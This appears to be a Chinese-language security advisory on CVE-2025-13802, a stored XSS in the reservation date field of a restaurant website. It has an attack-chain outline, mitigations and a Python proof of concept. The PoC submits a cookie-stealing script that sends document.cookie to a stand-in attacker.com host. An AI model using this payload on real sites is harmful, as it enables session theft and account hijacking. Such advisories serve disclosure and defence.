IPBUF安全漏洞报告
English
CVE-2025-13802 CVSS 4.3 中危

CVE-2025-13802 jairiidriss RestaurantWebsite 预订功能XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13802
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
jairiidriss RestaurantWebsite

相关标签

CVE-2025-13802跨站脚本攻击XSS存储型XSSjairiidriss RestaurantWebsiteMake a Reservationselected_date参数注入Web应用安全前端漏洞JavaScript注入

漏洞概述

CVE-2025-13802是jairiidriss RestaurantWebsite中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于网站的"Make a Reservation"(预订)功能中,攻击者可以通过selected_date参数注入恶意JavaScript代码。由于该漏洞采用持续交付(Continuous Delivery)与滚动发布(Rolling Releases)模式,因此没有明确的版本号信息。受影响代码版本为e7911f12d035e8e2f9a75e7a28b59e4ef5c1d654及之前版本。该漏洞CVSS评分为4.3,属于中危级别。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容。由于漏洞需要用户交互才能触发,攻击者需要诱导受害者点击恶意链接或访问包含恶意脚本的页面。该漏洞已于2025年12月1日公开披露,厂商在提前收到通知后未做任何回应。

技术细节

该漏洞是典型的存储型XSS(Stored XSS)漏洞,存在于餐厅网站的预订功能模块中。漏洞的根本原因是在处理用户输入的selected_date参数时,缺少充分的输入验证和输出编码。攻击者可以在预订表单的日期字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。当其他用户访问预订页面或查看预订信息时,恶意脚本会在受害者浏览器中执行。攻击者可以利用此漏洞获取受害者的认证令牌、会话ID或其他敏感信息,进而劫持用户账户。由于selected_date参数直接存储到数据库且在后续页面中被无保护地输出,导致所有访问该页面的用户都会受到攻击影响。攻击者可以通过社工手段诱导管理员或普通用户访问恶意构造的页面,触发XSS payload执行。

攻击链分析

STEP 1
步骤1
攻击者构造恶意XSS payload,在selected_date参数中注入JavaScript代码,如<script>alert(document.cookie)</script>
STEP 2
步骤2
攻击者通过预订功能提交恶意请求,将payload存储到服务器数据库中
STEP 3
步骤3
攻击者通过社会工程学手段诱导受害者访问预订页面或点击包含恶意脚本的链接
STEP 4
步骤4
受害者的浏览器解析页面时执行注入的恶意JavaScript代码
STEP 5
步骤5
恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器
STEP 6
步骤6
攻击者利用窃取的凭证劫持受害者账户,进行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-13802 PoC - XSS in RestaurantWebsite Make a Reservation # Target: jairiidriss RestaurantWebsite # Component: Make a Reservation (selected_date parameter) target_url = "http://target-website.com/reservation" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Encode the payload for URL encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious request params = { "selected_date": xss_payload, "customer_name": "Test User", "time_slot": "19:00", "guests": "2" } # Send the malicious reservation request response = requests.post(target_url, data=params) print(f"PoC sent. Status: {response.status_code}") print(f"Payload: {xss_payload}") print(f"Encoded: {encoded_payload}") # Alternative: Direct URL injection malicious_url = f"{target_url}?selected_date={encoded_payload}" print(f"Malicious URL: {malicious_url}")

影响范围

jairiidriss RestaurantWebsite <= e7911f12d035e8e2f9a75e7a28b59e4ef5c1d654

防御指南

临时缓解措施
在厂商发布修复版本之前,可采取以下临时缓解措施:1)通过Web应用防火墙规则过滤selected_date参数中的<script>标签和JavaScript事件处理器;2)禁用预订页面的HTML渲染,使用纯文本显示用户输入;3)对所有用户输入实施严格的输入长度限制和字符白名单验证;4)启用浏览器的XSS过滤器(如Chrome的XSS Auditor);5)监控和日志记录所有预订请求,及时发现异常攻击行为。建议尽快联系厂商获取官方安全补丁或考虑使用有安全维护的替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表